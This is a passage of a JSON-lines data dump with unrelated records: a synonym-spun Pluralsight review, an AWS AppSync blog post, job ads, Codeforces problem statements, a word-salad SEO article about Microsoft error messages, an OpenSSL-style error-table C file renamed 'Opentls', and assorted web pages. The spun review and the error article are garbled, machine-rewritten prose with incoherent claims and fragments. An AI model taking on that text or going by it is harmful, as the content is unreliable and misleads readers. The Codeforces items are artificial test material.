efficiency in details abilities. Whether a novice or an expert , Pluralsight has something for every person! So why not try Pluralsight today as well as see how much you can go?\nFree test offered.\nPluralsight offers numerous features to its customers, one of one of the most prominent being the cost-free test. With the Pluralsight complimentary trial, customers can access every one of the website’s programs and check out Pluralsight at their recreation.\nThe Pluralsight free trial is specifically advantageous for those brand-new to the site and also that need to know how it functions before devoting to a paid registration. Pluralsight has different other attributes, consisting of course rankings as well as testimonials, which can aid individuals make notified decisions about which programs to take.\nWhat are you waiting for? Sign up for Pluralsight today! With its expert-led courses and flexible discovering style, Pluralsight is the excellent platform for IT professionals.\nPluralsight’s best attribute is its tool support. Pluralsight can be accessed on any kind of tool with an web connection, consisting of laptop computers, smart devices, and tablet computers . This makes it easy to find out new abilities while on the go.\nPluralsight likewise has offline watching, so you can continue finding out even if you do not have an net link. Plus, Pluralsight provides a 10-day free trial, so you can try out the system before dedicating to a membership. With numerous benefits, it’s not surprising that Pluralsight is just one of the leading online understanding platforms.\nEventually, Pluralsight’s numerous offerings give possibilities for people of all histories to develop new skills and progress their jobs. A terrific function of Pluralsight is its community. Pluralsight has a area of developers who share their expertise and experience with others.\nThe community is always ready to aid address inquiries, supply comments, and also collaborate on tasks. Pluralsight also offers a discussion forum for programmers to share their code libraries, snippets, as well as tutorials . Pluralsight is an very useful source for programmers aiming to improve their skills or find out new innovations.\nA major function of Pluralsight’s interface is its quality. The Pluralsight user interface is tidy as well as modern , and very easy to browse. Pluralsight courses are organized right into modules, and also each module is split into lessons.\nThe Pluralsight interface makes it very easy to locate the programs you need as well as track your development. Pluralsight also supplies a variety of ways to find out, including video-based training courses, articles, and quizzes. You can likewise earn badges and also certifications as you total Pluralsight training courses.\nGo here to try Pluralsight totally free for 10 days.\nPluralsight Review FAQs.\nIs Pluralsight Expensive?\nWhile it holds true that Pluralsight’s training courses are not free, they are still very cost effective compared to other on-line education and learning systems. Additionally, Pluralsight often runs promotions as well as price cuts , making their programs even more economical. Hence, Pluralsight programs aren’t as well expensive as well as are extremely cost effective.\nWhat is the function of Pluralsight?\nPluralsight is a innovation understanding system that assists companies close the skills space and maintain their labor force relevant in an ever-changing industry. Pluralsight gives on-line programs shown by specialist teachers, enabling pupils to learn brand-new skills at their very own rate.\nWhich one is much better: Udemy or Pluralsight?\nThere are many different choices available for on the internet learning, and also it can be hard to choose the appropriate platform for your demands. 2 of one of the most prominent systems are Udemy and Pluralsight.\nBoth systems supply a large range certainly, but there are some essential differences in between them. Pluralsight concentrates especially on tech-related topics, while Udemy offers a extra diverse selection of courses. Pluralsight additionally supplies a wider range of features, including the ability to tailor your learning experience to your details goals.\nIs Pluralsight Worth It?\nPluralsight is absolutely worth your time, especially if you’re a tech specialist (or want to become one) aiming to upskill.\nIt is an on the internet education system that supplies programs in numerous topics, including programs, style, organization, and a lot more. Pluralsight is a excellent source for any individual looking to improve their abilities or discover new ones.\nThe training courses are well-designed and also provide a large amount of details. They are also moderately valued and come with a money-back guarantee. Pluralsight programs are a excellent investment for anybody looking to enhance their abilities.\nWhile Pluralsight is not a standard university, it can still be a valuable source for occupation growth. The training courses offered on Pluralsight cover a series of subjects that can profit experts in any kind of field. As an example, Pluralsight uses training courses on task management, internet advancement, and graphic layout.\nIn addition, Pluralsight likewise offers courses on soft abilities such as management and also communication. By taking advantage of the resources used by Pluralsight, you can acquire the abilities as well as expertise you require to do well in your occupation. In general, Pluralsight is a comprehensive and also affordable on-line understanding platform appropriate for both newbies and also skilled students.\nStart with Pluralsight.\nMaking use of Pluralsight, you can develop the abilities you need to progress in your career or modification sectors. And best of all, Pluralsight offers a complimentary trial so you can try the system and also see if it’s ideal for you.\nWhy not obtain started today? With Pluralsight, you can find out at your own speed and also schedule. And also, Pluralsight training courses are created by industry specialists, so you know you’re obtaining top notch guideline.\nVisit this site to attempt Pluralsight complimentary for 10 days.\nWhen it comes to Pluralsight and its teachers, it most definitely does.\nPluralsight uses a range of repayment options, consisting of debt card, PayPal, and so on!\nPluralsight training courses are self-paced, indicating you can function via them at your speed. Pluralsight is an very useful resource for developers looking to boost their skills or find out brand-new technologies.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 4158, "token_count_with_eod": 4159, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Day two at re:Invent 2017 was incredibly packed, crowded, and exciting. My favorite announcement so far is the new AWS AppSync, as it aligns with one of the most promising (yet somehow controversial) design principles adopted by the serverless community: GraphQL.\nIf you are not familiar with GraphQL, we recently explained how to write GraphQL Apps using AWS Lambda, and hosted a webinar about the Love Story between Serverless and GraphQL. Here’s a quick look at what you need to know about AWS AppSync.\nMobile and Web App Challenges\nI attended the first deep dive session on AWS AppSync, which brilliantly summarized the main technical challenges faced by most mobile and web applications:\n- Authentication & user management\n- Efficient network usage\n- Multi-device support\n- Data synchronization between devices\n- Offline data access\n- Real-time data streams\n- Cloud data conflict detection & resolution\n- Running server-side code (without managing servers)\nEach of these challenges could merit its own article, but I am assuming that everyone has experienced a really bad mobile UX, and at least once from the user perspective (any implicit reference to the AWS re:Invent app is clearly unintentional). Moreover, most of these challenges are a direct consequence of how we’ve been designing RESTful interfaces for web and mobile.\nIf you are a web or mobile developer, GraphQL can help you solve many of these challenges, especially the ones related to network optimization, thanks to dynamic queries, and real-time data streams, thanks to GraphQL subscriptions.\nHow is GraphQL better than REST?\nGraphQL can alleviate the pain caused by many complex problems that are pretty much unsolvable with REST only. This includes API resource relationships, reduced or customized information in API responses, dynamic query support, advanced ordering and paging, push notifications, etc.\nGraphQL is basically a query language for APIs, and it makes it very easy to add an abstraction layer on top of already existing data and APIs. Plus, it’s strongly typed and can act as a self-documenting contract between client and server.\nAgain, if you are not familiar with the concept of GraphQL Queries, Mutations, and Subscriptions, have a read here (it gets more technical from now on!).\nAWS AppSync Features & Gotchas\nAWS AppSync allows you to focus on building apps instead of managing all the infrastructure needed to run GraphQL (either with or without servers).\nAppSync will connect queries to AWS resources, and it provides built-in offline and real-time stream support via client-side libraries, which also come with different strategies for data conflict resolution (even custom Lambda-based implementations!). The service offers enterprise-level security features such as API keys, IAM, and Cognito User Pools support.\nAs with any GraphQL application, your development workflow would look like the following:\n- Define your schema (queries, mutations, and subscriptions)\n- Define resolvers (data sources)\n- Use client tooling to fetch data via the GraphQL endpoint\nAWS AppSync provides built-in support for three data sources:\n- Lambda (for custom or generated fields)\nMutation Resolvers can be mapped into data sources via mapping templates (Velocity). As with API Gateway templates, they come with a few utilities such as JSON conversion, unique ID generation, etc., and ready-to-use sample templates. Based on the specific data source, templates will allow for complete customization of the backend query (e.g. DynamoDB PutItem, ElasticSearch geolocation queries, etc.).\nSince you’ll spend most of the time working with the Schema Editor, I was quite happy to notice that it is quite user-friendly, and it comes with search and auto-complete capabilities.\nAWS AppSync and AWS Lambda\nYou can use AWS Lambda to compute dynamic fields, eventually in a batch fashion. For example, imagine that your schema defines a “paid” field that needs to be fetched from a third-party payment system for each invoice. You would probably define a ComputePaid Function and a ComputePaidBatch Function.\nThe batch function will be automatically invoked to process the value of multiple records without incurring the N+1 problem. Of course, you could use the same Lambda Function for individual and batch processing.\nAWS AppSync Pricing\nAppSync will be charged based on the total number of operations and real-time updates. More detailed, real-time updates are charged based on the number of updates and the minutes of connection.\nHere are the numbers:\n- $4 per million Query and Data Modification Operations\n- $2 per million Real-time Updates\n- $0.08 per million minutes of connection to the AWS AppSync service\nPlease note that data transfer is charged at the EC2 data transfer rate and that real-time updates are priced per 5kb payload of data delivered (prorated). While the service is completely free during the preview phase, it will come with a free tier once it is generally available.\nAlso note that AppSync has no minimum fees or mandatory service usage, compared to other similar offerings such as Graphcool.\nI expect that AWS AppSync will be well received by the serverless community, and it will make GraphQL much easier to adopt for many use cases.\nIt will be a great option for applications that need to drastically optimize data delivery, or to transparently manage many data sources under the hood. Moreover, it will also allow developers to design self-documenting APIs powered by a strong type system and a powerful set of developer tools that will simplify API evolution.\nKeep in mind that AWS AppSync is still in preview, but you can start playing with it by signing up here.\nI’m looking forward to playing with it myself next week, and I can’t wait to share my first results with the community. If you already use GraphQL in production, let us know what you think of AWS AppSync in the comments below!", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Please sign in to comment.\nTwo ReactART TODOs implemented on Android\nSummary: Implemented 2 TODOs from ReactART for Android: - TODO(7255985): Use TextureView and pass Surface from the view to draw on it asynchronously instead of passing the bitmap (which is inefficient especially in terms of memory usage) - TODO(6352067): Support dashes in ARTShape We use ReactNativeART in our Android project. 1. Our app crashes sometimes on large screen smartphones with OutOfMemoryError. Crashes happen in ARTSurfaceShadowNode where TODO(7255985) was suggested in a comment in order to use memory more efficiently. 2. We needed dashes for drawing on ARTSurface. **Test plan (required)** I attach a screenshot of our app which shows dashed-lines and two ARTSurfaces on top of each other rendering exactly the same as in the pervious implementation of ARTSurface. ![screenshot_2016-08-19-16-45-43](https://cloud.githubusercontent.com/assets/18415611/17811741/cafc35c4-662c-11e6-8a63-7c35ef1c5ba9.png) Closes #9486 Differential Revision: D4021303 Pulled By: foghina fbshipit-source-id: 880175e841e3c598013982a7748b6fc691c7e8d6\n- Loading branch information...\nShowing with 72 additions and 46 deletions.\n- +2 −2 ReactAndroid/src/main/java/com/facebook/react/views/art/ARTShapeShadowNode.java\n- +3 −25 ReactAndroid/src/main/java/com/facebook/react/views/art/ARTSurfaceView.java\n- +1 −3 ReactAndroid/src/main/java/com/facebook/react/views/art/ARTSurfaceViewManager.java\n- +66 −16 ReactAndroid/src/main/java/com/facebook/react/views/art/ARTSurfaceViewShadowNode.java", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "£600 - £700 a day\nJava/Agile Developer - TDD, Java, MongoDB, Cassandra (Big Data)\nMultiple headcount for a very well respected tech team - we are looking for people whose passion is firstly producing simple, effective and well tested code - this will be at the core of everything you do - Test Driven Development.\nThe tech stack is Java 8 with other peripheral languages inc: Scala, Clojure and we are using MongDB and Cassandra.\nPlease note you will receive an automated response advising you that we have received your CV.\nHudson is a leading provider of permanent recruitment, contract professionals and talent management solutions worldwide.\nWe are committed to ensuring that all job applicants are treated equally, without discrimination because of gender, sexual orientation, marital or civil partner status, gender reassignment, race, colour, nationality, ethnic or national origin, religion or belief, disability or age.\nThis job was originally posted as www.cwjobs.co.uk/job/81453709\nPosted by Hudson IT, 16 May", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 225, "token_count_with_eod": 226, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Download the latest and official version of drivers for HP Deskjet 1220c Printer series. This driver package is available for 32 and 64 bit PCs. It is compatible with the following operating Systems: Windows. Don't worry if you don't know what's your operating system. HP website will automatically detect your device and select the best installer for your OS.\nHP Deskjet 1220c Driver: HP Deskjet 1220c printer is quite old. This printer series is discontinued by Hewlett Packard. HP.com also not providing any update or driver for this printer. If you are still using the HP Deskjet 1220c Color Inkjet printer and want to install on your Windows machine, follow instructions given on this blog post.\nHP Deskjet 1220c With Windows 10: Some printers have drivers installed through Microsoft Windows Update. Use Windows 10 Update facility to find/install a suitable driver for your HP Deskjet 1220c printer. 2b1af7f3a8", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Dalaran is a flying city of magic. It consists of $$$n$$$ floating islands connected by $$$m$$$ bridges (each bridge can be traversed in both directions). Every island is reachable from every other along these bridges. It would be a shame if some magic experiment went horribly wrong and this magnificent city got destroyed, right?\n\nWell, just guess what happened. A portal to demons' realm was opened at the island $$$1$$$. This is the start of day $$$1$$$ of the catastrophe, and all $$$k$$$ mages have gathered at the island $$$1$$$ (they were trying to close the portal, but found out that it was impossible). At the start of day $$$2$$$, a gigantic horde of demons will emerge from the portal, capture the island $$$1$$$ and kill every mage staying at that island. During each day $$$i$$$, if the island $$$v$$$ was captured by demons by the start of the day, the horde of demons will travel across all bridges connected directly to $$$v$$$, capture every island they reach, and kill every mage they meet along the way.\n\nEach bridge contains exactly one magic stone. Each mage at the start of the day can do one of the following actions:\n\n- Spend one day travelling along one of the bridges connected to the island where the mage currently is. When passing through a bridge, the mage can pick up the magic stone from it (if there is any; each magic stone can be picked up by at most one mage). If the bridge is passed by the demons during the same day, or by the start of the next day, the island where the mage goes is already captured by the demonic horde (even if they arrive there at the same moment), the mage is killed.\n- Perform a teleportation ritual to get to safety outside Dalaran. This ritual consumes two magic stones (and cannot be performed if the mage has less than two stones).\n\nEach magic stone decays in $$$2$$$ days, so if is picked up in the middle of day $$$i$$$, it decays in the middle of day $$$i + 2$$$. Decayed stones cannot be used in teleportation ritual.\n\nCalculate the maximum number of mages that can get to safety.", "source": "cpt_codeforces", "language": "en", "token_count": 463, "token_count_with_eod": 464, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "David was given a red checkered rectangle of size $$$n \\times m$$$. But he doesn't like it. So David cuts the original or any other rectangle piece obtained during the cutting into two new pieces along the grid lines. He can do this operation as many times as he wants.\n\nAs a result, he will get a set of rectangles. Rectangles $$$1 \\times 1$$$ are forbidden.\n\nDavid also knows how to paint the cells blue. He wants each rectangle from the resulting set of pieces to be colored such that any pair of adjacent cells by side (from the same piece) have different colors.\n\nWhat is the minimum number of cells David will have to paint?", "source": "cpt_codeforces", "language": "en", "token_count": 141, "token_count_with_eod": 142, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Patrick calls a substring$$$^\\dagger$$$ of a binary string$$$^\\ddagger$$$ good if this substring contains exactly one 1.\n\nHelp Patrick count the number of binary strings $$$s$$$ such that $$$s$$$ contains exactly $$$n$$$ good substrings and has no good substring of length strictly greater than $$$k$$$. Note that substrings are differentiated by their location in the string, so if $$$s =$$$ 1010 you should count both occurrences of 10.\n\n$$$^\\dagger$$$ A string $$$a$$$ is a substring of a string $$$b$$$ if $$$a$$$ can be obtained from $$$b$$$ by the deletion of several (possibly, zero or all) characters from the beginning and several (possibly, zero or all) characters from the end.\n\n$$$^\\ddagger$$$ A binary string is a string that only contains the characters 0 and 1.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Unfortunately though, the error message i get is not very much help its the registrations table that is giving me the error super user. The findings come from people who use microsoft word and/or outlook, below, we've listed the 10 most common grammar errors, along with. Reflexively oking a destructive operation because of the way brains form habits, most users quickly get used to clicking/tapping an action button and then c.\nThe hex values will resolve to a microsoft response code that may provide account restrictions are preventing this user from signing in. To fix such type of issues in ms outlook, a user must have information regarding the causes of concerned error here, in this article, i am going. 1183000, 1187000, 1188000 – these are not common errors but you might get them if to check this, go to and log in with your account.\nFor those cases, we've provided the following list of common errors, to resolve this error, check the formula's spelling, or use the formula builder to select insert function (if you're using microsoft excel 2017, this option. According to microsoft, this error is quite common in the new build, but the company currently has no workaround while the development team. (error code: 102630) lesson objective: use mistakes to quickly clarify concepts how does ms alcala use assessment data to inform her teaching. The following table lists common error messages that users might encounter and steps that your.\nEverybody knows microsoft word it's on almost every pc in the world and fair few macs as well however, a lot of users have picked up bad habits, things that. Like most windows applications, acrobat and reader use microsoft windows installer technology for installing. One of the most common errors of microsoft outlook is the “send-receive error” when encountered, it puts all user activity to halt thus. Check the ldap server logs and configuration to ensure that it is working free from errors when a user attempts to log in to an atlassian.\nAll adsi-specific errors have a hexadecimal form of 80005xxx the most common error codes encountered are outlined in the following table. Here are the 10 most common dns errors—and how you can avoid them the desktops use dhcp with a scope option that includes the ip. Software microsoft office excel how to detect and correct formula errors in excel 2016 in the cell the table explains common error messages common formula error messages #num, an argument you use in your formula is invalid. Learn what are the most common access database errors and their solution using etc with their root causes and find the best troubleshoot to fix ms access mistakes by continuing to browse this site, you agree to this use.\nCommon microsoft edge problems, and how to fix them it's designed to completely replace microsoft's older browser (yay) but confronts users with an you can look for these errors with windows 10's system file checker. Make use of the professional recommended ms excel repair tool to fix common excel errors this is the best tool to repair all sort of issues,. Common errors people make in using microsoft word from faq this isn't really a common error in that few people try to use master. These are just solutions to common causes for these errors to c:\\documents and settings\\all users\\application data\\microsoft\\crypto\\rsa.\nA common belief is that error messages are the worst user experience and should be avoided at all costs, but it is more accurate to say that. Steps to fix send/receive error in ms outlook or outlook express let us discuss a live scenario where a user gets 'send/receive' problem in email c:\\ program files\\common files\\windows messaging\\scanpstexe.\nEven though microsoft is making the upgrade to windows 10 an easy process, many users are experiencing a number of issues today we look. The microsoft azure portal is no different error message text is the normal type of error message display that's common to every other application out there when an error occurs attempting to do something the user. The windows store, now called the microsoft store app, can go c: \\% username%\\appdata\\local\\packages\\microsoft we'll show you how to fix the most common issues with windows update in windows 10. Many of these problems are outside your control, but others can be introduced through user error it doesn't matter how much simpler microsoft.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 920, "token_count_with_eod": 921, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Looking at David McCandless' illustration of what makes for effective information design inspired me to articulate my own point of view. In this post, I briefly discuss the importance of affordances, accessibility, and aesthetics in data visualization.\nIf you’re a designer, you know that communicating with clients can often be very frustrating. With that in mind, we bring you one funny cheat sheet, explaining what clients really mean when providing feedback. Courtesy of Plato web design", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The position of the leftmost maximum on the segment $$$[l; r]$$$ of array $$$x = [x_1, x_2, \\ldots, x_n]$$$ is the smallest integer $$$i$$$ such that $$$l \\le i \\le r$$$ and $$$x_i = \\max(x_l, x_{l+1}, \\ldots, x_r)$$$.\n\nYou are given an array $$$a = [a_1, a_2, \\ldots, a_n]$$$ of length $$$n$$$. Find the number of integer arrays $$$b = [b_1, b_2, \\ldots, b_n]$$$ of length $$$n$$$ that satisfy the following conditions:\n\n- $$$1 \\le b_i \\le m$$$ for all $$$1 \\le i \\le n$$$;\n- for all pairs of integers $$$1 \\le l \\le r \\le n$$$, the position of the leftmost maximum on the segment $$$[l; r]$$$ of the array $$$b$$$ is equal to the position of the leftmost maximum on the segment $$$[l; r]$$$ of the array $$$a$$$.\n\nSince the answer might be very large, print its remainder modulo $$$10^9+7$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 267, "token_count_with_eod": 268, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "<owwmenu font=\"arial, helvetica, sans-serif\" bold=\"0\"\ncolor=\"black\" bgcolor=\"white\" hovercolor=\"black\" bghovercolor=\"gray\" topfontsize=\"10\" fontSize=\"11\" pagewidth=\"1000\" image=\"GC_Ps.jpg\" lab=\"Bishop\"> Home=http://openwetware.org/wiki/Biomod/2013/IIT-Madras Team=http://openwetware.org/wiki/Biomod/2013/IIT-Madras/Team Project=http://openwetware.org/wiki/Biomod/2013/IIT-Madras/Project LabNoteBook=http://openwetware.org/wiki/Biomod/2013/IIT-Madras/labnote Results=http://openwetware.org/wiki/Biomod/2013/IIT-Madras/Results Brainstorming=http://openwetware.org/wiki/Biomod/2013/IIT-Madras/Brainstorming Acknowledgement=http://openwetware.org/wiki/Biomod/2013/IIT-Madras/Acknowledgement References=http://openwetware.org/wiki/Biomod/2013/IIT-Madras/References\nAcid Artists, IIT Madras\nDNA nano-structures have proved to be very effective tools in solving Structural Biology and Biophysics problems, with potential applications in fields such as Nano-medicine. However, since it may not always be possible to have functional nano-structures in a given system, a structure which folds into an appropriate configuration based on specific triggers would be more useful. The strand exchange system for actuating DNA nano-structures results in the generation of dsDNA waste products that increase the systems’ toxicity. The time-scale of system response is extremely high owing to diffusional limitations.\nAn exciting alternative to this technique is the use of environmental triggers (such as pH, temperature, light). This reduces the response time and results in spatio-temporal homogeneity of system response. As there is no addition of any synthetic intermediate, the system is comparatively “Clean”.\nOur project is a proof-of-concept demonstration of an environmentally triggered DNA nano-structure – specifically, a DNA walker activated by a pH change. This pH-based construct has been designed using a single strand of DNA rich in Cytosine repeats which undergoes a conformational change at a low pH, releasing a walker strand from its bound configuration onto a neighboring strand present on the track.\nThis system is a putative candidate for probing systems with varying pH, notably cancer and tumor cell systems.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 542, "token_count_with_eod": 543, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "We understand that building a great product require a great vision and strong engineering. However what also makes a product really great is how end user perceives it and how clear is its quality value proposition.\nWhile working with enterprises of all sizes, we observed that organizations still manage their SDLC processes using excel sheets. Requirements to test cases to test scenarios, everything is managed using excel sheets. While at a level it works for them, eventually the following issues crop up:\nIn fact, studies suggest that teams lose up to 40% of their productive time struggling with these challenges.\nThis problem inspired us to conceptualize OpTest, an integrated, collaborative platform that would allow business analysts, developers, testers and management to all seamlessly work together.\nSo, OpTest is essentially an Application Lifecycle Management Solution that allows end-to-end management of activites across the lifecycle.\nOpTest has 5 modules:\nWith more than 15 pre-build test reports based on 40 test KPIs, OpTest provides exhaustive dashboards that enable management to take critical business decisions with confidence. I would like to highlight some of the key features of OpTest here:\nOpTest has virtually replaced excel sheets and other traditional mechanisms in most of the enterprises where we are working with our customers. Most of the customers who have implemented OpTest have realized the following benefits:\nSo what are you waiting for? Come, experience the change! Experience OpTest!\nTo know more about OpTest Click Here", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "9 months ago 2022-08-18, 15:48\nLast commit: [8f441066] Merge pull request #408 from Alan01/patch-33\nSet positions of desktop icons per workspace\nDesktop icons per workspace\nAn extension that set positions of desktop icons per workspace for Linux Mint Cinnamon\n- Extract .zip archive to ~/.local/share/cinnamon/extensions\n- Enable the extension in Cinnamon settings\nWait until desktop icons are refreshed after the extension is started.\nWait until desktop icons are refreshed after switching between workspaces.\nIf desktop icons are not visible then restart Cinnamon with: Ctrl + Alt + Esc\nThe extension does not set positions of the following desktop icons per workspace:\n- Mounted devices\nBrowse the source of the extension in the original repository\nLog In To Comment!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 182, "token_count_with_eod": 183, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Hey YANGANG! I want you all to rate my Fortnite Mobile skills. I managed to get a 13 kills Victory Royale! Comment down below and don’t forget to SMASH that like button!\nDiscord Server: https://discord.gg/SVhgmD6\nDevice: iPhone 8plus\nEditing software(s): Videoleap & iMovie\nOUTRO: Drake ft. Jay-z – Pound Cake (Instrumental)\nFeel Free To Donate:\nFOLLOW ME ON SOCIAL MEDIA:\nTweets by yanriquewright\nDon’t forget to SUBSCRIBE!\nTurn post notifications on! 🛎\nPassionate about passive income generation , willing to share my knowledge with other people so that we can grow together , lets learn something new everyday.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 157, "token_count_with_eod": 158, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/*\n * Generated by util/mkerr.pl DO NOT EDIT\n * Copyright 1995-2019 The Opentls Project Authors. All Rights Reserved.\n *\n * Licensed under the Apache License 2.0 (the \"License\").  You may not use\n * this file except in compliance with the License.  You can obtain a copy\n * in the file LICENSE in the source distribution or at\n * https://www.opentls.org/source/license.html\n */\n\n#include <opentls/err.h>\n#include <opentls/pkcs12err.h>\n\n#ifndef OPENtls_NO_ERR\n\nstatic const ERR_STRING_DATA PKCS12_str_reasons[] = {\n    {ERR_PACK(ERR_LIB_PKCS12, 0, PKCS12_R_CANT_PACK_STRUCTURE),\n    \"cant pack structure\"},\n    {ERR_PACK(ERR_LIB_PKCS12, 0, PKCS12_R_CONTENT_TYPE_NOT_DATA),\n    \"content type not data\"},\n    {ERR_PACK(ERR_LIB_PKCS12, 0, PKCS12_R_DECODE_ERROR), \"decode error\"},\n    {ERR_PACK(ERR_LIB_PKCS12, 0, PKCS12_R_ENCODE_ERROR), \"encode error\"},\n    {ERR_PACK(ERR_LIB_PKCS12, 0, PKCS12_R_ENCRYPT_ERROR), \"encrypt error\"},\n    {ERR_PACK(ERR_LIB_PKCS12, 0, PKCS12_R_ERROR_SETTING_ENCRYPTED_DATA_TYPE),\n    \"error setting encrypted data type\"},\n    {ERR_PACK(ERR_LIB_PKCS12, 0, PKCS12_R_INVALID_NULL_ARGUMENT),\n    \"invalid null argument\"},\n    {ERR_PACK(ERR_LIB_PKCS12, 0, PKCS12_R_INVALID_NULL_PKCS12_POINTER),\n    \"invalid null pkcs12 pointer\"},\n    {ERR_PACK(ERR_LIB_PKCS12, 0, PKCS12_R_IV_GEN_ERROR), \"iv gen error\"},\n    {ERR_PACK(ERR_LIB_PKCS12, 0, PKCS12_R_KEY_GEN_ERROR), \"key gen error\"},\n    {ERR_PACK(ERR_LIB_PKCS12, 0, PKCS12_R_MAC_ABSENT), \"mac absent\"},\n    {ERR_PACK(ERR_LIB_PKCS12, 0, PKCS12_R_MAC_GENERATION_ERROR),\n    \"mac generation error\"},\n    {ERR_PACK(ERR_LIB_PKCS12, 0, PKCS12_R_MAC_SETUP_ERROR), \"mac setup error\"},\n    {ERR_PACK(ERR_LIB_PKCS12, 0, PKCS12_R_MAC_STRING_SET_ERROR),\n    \"mac string set error\"},\n    {ERR_PACK(ERR_LIB_PKCS12, 0, PKCS12_R_MAC_VERIFY_FAILURE),\n    \"mac verify failure\"},\n    {ERR_PACK(ERR_LIB_PKCS12, 0, PKCS12_R_PARSE_ERROR), \"parse error\"},\n    {ERR_PACK(ERR_LIB_PKCS12, 0, PKCS12_R_PKCS12_ALGOR_CIPHERINIT_ERROR),\n    \"pkcs12 algor cipherinit error\"},\n    {ERR_PACK(ERR_LIB_PKCS12, 0, PKCS12_R_PKCS12_CIPHERFINAL_ERROR),\n    \"pkcs12 cipherfinal error\"},\n    {ERR_PACK(ERR_LIB_PKCS12, 0, PKCS12_R_PKCS12_PBE_CRYPT_ERROR),\n    \"pkcs12 pbe crypt error\"},\n    {ERR_PACK(ERR_LIB_PKCS12, 0, PKCS12_R_UNKNOWN_DIGEST_ALGORITHM),\n    \"unknown digest algorithm\"},\n    {ERR_PACK(ERR_LIB_PKCS12, 0, PKCS12_R_UNSUPPORTED_PKCS12_MODE),\n    \"unsupported pkcs12 mode\"},\n    {0, NULL}\n};\n\n#endif\n\nint ERR_load_PKCS12_strings(void)\n{\n#ifndef OPENtls_NO_ERR\n    if (ERR_reason_error_string(PKCS12_str_reasons[0].error) == NULL)\n        ERR_load_strings_const(PKCS12_str_reasons);\n#endif\n    return 1;\n}", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "FREE SHIPPING Over $195 & FREE RETURNS\nFREE Shipping over $195 & EASY Returns.\nNo special characters, emojis, commas, and paragraph breaks.\n*Gift wrapping only applicable on orders that fit in a gift box. Orders not limited to, but containing the following cannot be gift wrapped: footwear, bags, large accessories, and outerwear.\nGet more out of your workout with wearable Bala bangles. They add constant but comfortable resistance as you move.\nSorry, the item you selected is either out of stock or has a purchase quantity limit enabled.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 120, "token_count_with_eod": 121, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "We’ve all had those nightmare mixes. Where everything is almost perfect, but there are a few peaks that jump out of n...\nWithout compression, your mix is uncontrolled.\nCompression tames the dynamics of your instruments, making them fuller, louder, and more consistent. In order to build a house, you have to have bricks. Compression turns your instruments from jagged rocks into smooth bricks. Without it, your house will fall down.\nIn this section, you’re going to learn how to create a radio-ready mix with compression… plus some exciting tricks along the way.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Once when Gerald studied in the first year at school, his teacher gave the class the following homework. She offered the students a string consisting of n small Latin letters; the task was to learn the way the letters that the string contains are written. However, as Gerald is too lazy, he has no desire whatsoever to learn those letters. That's why he decided to lose some part of the string (not necessarily a connected part). The lost part can consist of any number of segments of any length, at any distance from each other. However, Gerald knows that if he loses more than k characters, it will be very suspicious.\n\nFind the least number of distinct characters that can remain in the string after no more than k characters are deleted. You also have to find any possible way to delete the characters.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "- San Mateo, CA\n- Date Posted\n- Aug. 16, 2021\n- Software Engineering\nEvery day, tens of millions of people from around the world come to Roblox to play, learn, work, and socialize in immersive digital experiences created by the community.\nOur vision is to build a platform that enables shared experiences among billions of users. This is what’s known as the metaverse: a persistent space where anyone can do just about anything they can imagine, from anywhere in the world and on any device. The breadth of opportunities, and the evolving demands of this first-of-its-kind platform, ensure that your avenues for growth are always expanding and flexible.\nJoin us and you’ll usher in a new category of human interaction while solving exceptional challenges that you won’t find anywhere else.\nWhat You’ll Do:\n- As an experienced member, you will participate in the software development life cycle: scoping, design, coding, testing, and implementation for our real-time geometry engine.\n- Work on the ROBLOX Simulation team.\n- Report directly to the Engineering Director of Geometry.\n- Work in a small team, driving a essential part of the ROBLOX Experience\n- You will solve math computational problems\n- Write boolean operation and mesh-filling code for triangulated surface in C/C++\n- Work with other teams, with an eye toward the best user experience\nWhat We’re Looking For:\nWe’re looking for someone with experience creating algorithms and solving math computational problems. You have to demonstrate experience in the following areas:\n- You know C++ programming.\n- You have knowledge of Boost library\n- You have built complex object-oriented software, with knowledge of design patterns\n- You have experience with Multithreading\n- You have implemented and optimized computational geometry algorithms on triangular meshes\n- You have between 3 and 10 years of experience\n- You have experience with linear algebra in the Euclidean space\n- Good if you have: Implemented graphical engines for visual representation of 3D models\n- Excellent medical, dental, and vision coverage\n- A rewarding 401k program\n- Flexible vacation policy\n- Free catered lunches five times a week and several fully stocked kitchens with unlimited snacks\n- Onsite fitness center and fitness program credit\n- Annual CalTrain Go Pass\n- A Roblox Admin badge for your avatar", "source": 